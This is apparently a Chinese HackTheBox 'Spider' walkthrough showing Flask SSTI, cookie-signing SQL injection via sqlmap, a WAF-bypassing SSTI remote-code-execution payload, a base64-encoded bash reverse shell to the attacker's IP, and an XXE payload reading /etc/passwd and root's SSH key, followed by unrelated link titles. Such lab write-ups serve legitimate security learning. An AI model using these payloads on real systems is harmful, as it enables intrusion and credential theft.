0x01 端口探测

nmap -sC -sV -v 10.10.10.243
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

0x02 WebShell/User Shell

访问80端口,直接跳转到spider.htb,然后报错:

在/etc/hosts将域名和端口进行绑定

重新访问spider.htb,界面正常。

抓包能够发现携带了cookie,根据cookie形式推测后端使用了flask:

在用户注册界面尝试SSTI,用户名输入{{ 2+2 }}:

然后进入登录后界面的USER INFORMATION界面:

发现成功解析:

试着读一下config:

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

使用flask-session-cookie-manager对cookie进行解密,发现以uuid形式存储。即在这条路我们需要拿到管理员的uuid。

E:\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -s Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 -c eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjM3MTFkYzU0LThhZDEtNDNjOC05YjBlLTU5YjIzNzU5ZmU0MiJ9.YXORyQ.5Gl9TfDi1A0VQnsvjoEbBdJFLxU{'cart_items': [], 'uuid': '3711dc54-8ad1-43c8-9b0e-59b23759fe42'}

换一条路试试命令执行,发现被限制了字符数,不太可能绕过:

继续探索,最后在hacktricks上找到了一个关于flask的session注入的问题:

https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap#eval

Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

这里一开始没弄出来,最后发现是VPN的问题。换了个VPN后能跑出数据:

sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump

dump后的数据如下,第一条即为管理员的信息:

129f60ea-30cf-4065-afb9-6be45ad38b73
chiv
ch1VW4sHERE7331

以管理员身份登录,发现直接进入了admin panel:

然年后有一个supportportal的url:

http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

界面如下,不出意外的话又是一个SSTI:

然后发现有WAF:

最后构造出Payload的过程如下:

首先去PayloadAllTheThings上找了个Payload:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

输入发现过滤了单引号',将单引号替换成双引号

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

然后是发现{{}}被过滤,使用{%include ...%}的方式进行绕过:

{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")() %}

成功执行后服务器会报500的错误,没有回显。通过sleep函数判断是否能够执行命令,发现可以:

接着构造反弹shell的payload,使用base64编码:

这里不知道为什么直接的bash -i >& /dev/tcp/10.10.16.33/4455 0>&1不能起作用,知道的师傅可以教教

bash -c 'exec bash -i >& /dev/tcp/10.10.16.33/4455 0>&1' #原payload
YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= #Base64编码
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= | base64 -d | bash")|attr("read")() %}

拿到普通用户的shell:

直接去价目下的.ssh目录翻私钥,然后连接之:

0x03 Root Shell

拿到User Shell后尝试提权,在查看网络连接的时候发现有8080端口。使用curl测试发现是不同的app:

于是使用ssh进行本地转发:

ssh -L 8888:localhost:8080 chiv@10.10.10.243 -i chiv

这里以任意用户都能登录,登录后会分配又一个flask的cookie:

.eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48

解密如下:

┌──(kali㉿kali)-[~/桌面]
└─$ flask-unsign --decode --cookie .eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWRtaW48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

Base64内容解码,发现有xml,推测存在xxe:

<!-- API Version 1.0.0 -->
<root><data><username>admin</username><is_admin>0</is_admin></data>
</root>

开始查找利用点,抓包发现登录时有个version参数,这个会影响到后面cookie的生成:

于是乎这里就很明显了,我们可以通过闭合注释注入xml代码,造成xxe。

这里还有一点,就是username参数也在xml的便签中,我们便可以将输入&admin;,将一个admin实体注入进去。

构造payload如下:

username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///etc/passwd'>]><!--

使用生成的cookie访问site,能够发现回显:

这样的利用方式就比较简单了,我们直接读取root用户的私钥即可:

username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///root/.ssh/id_rsa'>]><!--

保存后ssh登录即可:

HackTheBox-Spider WP相关推荐

  1. hackthebox Mailroom Hard难度 抄wp复现

    参考这位up主的: Hack The Box 赛季活动靶场[MailRoom]System Flag攻略_哔哩哔哩_bilibili Hack The Box 赛季活动靶场[MailRoom]User ...

  2. 2021深育杯MISC超详细WP

    login 示例-副本.txt是伪加密,解出后明文攻击 解密password.zip发现是六字符CRC32 得到密码 welc0me_sangforctf 解密.passwd.swp 家人们以后恢复s ...

  3. wp教程-wp详细教程-免费wordpress模板主题搭建教程

    wp教程?WP网站初始版本是英文版本,很多人都不懂等下会以图片的形式给大家展示.大家注意看图.一键建站+行业内容采集+伪原创+主动推送给搜索引擎收录,让每位站长都能拥有自己喜欢的网站. 互联网信息迸发 ...

  4. HackTheBox | Timelapse

    HackTheBox | Timelapse nmap扫描,开放88.389.445等常见Windows域环境下的端口,域名为timelapse.htb,主机名为DC01 开放了smb端口,所以先从s ...

  5. Python:Spider

    Spider类定义了如何爬取某个(或某些)网站.包括了爬取的动作(例如:是否跟进链接)以及如何从网页的内容中提取结构化数据(爬取item). 换句话说,Spider就是您定义爬取的动作及分析某个网页( ...

  6. [WP]使用ApacheCordova开发HTML5-WindowsPhone应用程序

    下载代码示例 这篇文章介绍 Apache 科尔多瓦,创建使用 HTML5 和 JavaScript,跨平台移动应用程序的框架,并显示了如何使用它为 Windows Phone 开发应用程序. Wind ...

  7. wp实例开发精品文章源码推荐

    qianqianlianmeng wp实例开发精品文章源码推荐 WP8 启动媒体应用         这个示例演示了如何选择正确的msAudioCategory类别的音像(AV)流来配置它作为一个音频 ...

  8. cocos2d-xna for win8源代码轻松移植cocos-xna for wp游戏

    无意间看到杨哥弄了一个cocos2d-xna for win8出来可惜没有放出源代码,我试着要了一下结果他没理我,各种画圈圈. 那我只好自己弄一个了,源代码放出大家供交流学习使用,像杨哥说的一样就是一 ...

  9. R语言使用ggradar包可视化基本雷达图(radar chart、蜘蛛图spider plot)、可视化单个数据对象的雷达图

    R语言使用ggradar包可视化基本雷达图(radar chart.蜘蛛图spider plot).可视化单个数据对象的雷达图 目录

  10. R语言使用ggradar包可视化基本雷达图(radar chart、蜘蛛图spider plot)、可视化单个数据对象的雷达图、自定义雷达图的线条类型、线条宽度、数据点大小、色彩等

    R语言使用ggradar包可视化基本雷达图(radar chart.蜘蛛图spider plot).可视化单个数据对象的雷达图.自定义雷达图的线条类型.线条宽度.数据点大小.色彩等(Customize ...

最新文章

  1. 《架构漫谈》阅读笔记
  2. OpenCv实现两幅图像的拼接
  3. webpack打包后引用cdn的js_呕心沥血编写的webpack多入口零基础配置 【建议收藏】...
  4. git中fatal: Authentication failed的问题
  5. linux停止python程序_python – Linux上的多处理进程终止失败
  6. sublime3中文乱码解决包ConvertToUTF8.zip
  7. 商业 GIS 软件:专有地图软件列表
  8. KITTI数据集下载
  9. 软件测试中的白盒测试的工具,软件测试人员该如何选择白盒测试工具?常用的白盒测试工具汇总...
  10. payjs 源码_ZFAKA发卡系统用宝塔安装详细图文教程+对接Payjs个人支付版本
  11. win10-64位-汇编环境配置
  12. 流量负载_指挥流量:揭开互联网规模负载平衡的神秘面纱
  13. N-gram 语言模型
  14. word endnote插入仅出现大括号问题解决
  15. 在Ubuntu 22.04 Jammy Jellyfish Linux上流畅安装VMware tools
  16. 基于Conv3D实现三维立体MNIST数据集分类
  17. 用Linux做wifi热点/无线路由
  18. linux pcm和alsa 区别,linux alsa pcm(此pcm非硬件pcm接口)
  19. 365天挑战LeetCode1000题——Day 079 力扣周赛专题 米哈游 检查相同字母间的距离 恰好移动 k 步到达某一位置的方法数目 最长优雅子数组
  20. matlab中的fix,matlab fix函数用法

热门文章

  1. 风控模型开发的特征选择与常用数据源介绍
  2. 东芝和摩飞多功能锅到底哪一款值得拔草呢?本篇深度评测让你剁手不后悔;
  3. Pytorch:三、数据的迭代训练(猫狗)
  4. Linux远程终端工具之Xmanager----Xbrowser篇
  5. 你还在为不知道怎么给家人庆祝生日而发愁吗?
  6. Oracle 工具篇+Oracle Remote Diagnostic Agent(RDA)
  7. C语言————鸡兔共有30只,脚共有90只,下面的程序段是计算鸡和兔共有多少只?
  8. 【MLPs+ESN】利用多层感知机MLPs对经典ESN(回声状态网络)的输出权值计算进行优化的MATLAB仿真
  9. opencv-pythons实现图像周长面积(三角形)检测DIY整理
  10. 使用PlatformIO IDE开发Arduino如何安装和调用外部库文件【基于Visual Studio Code平台】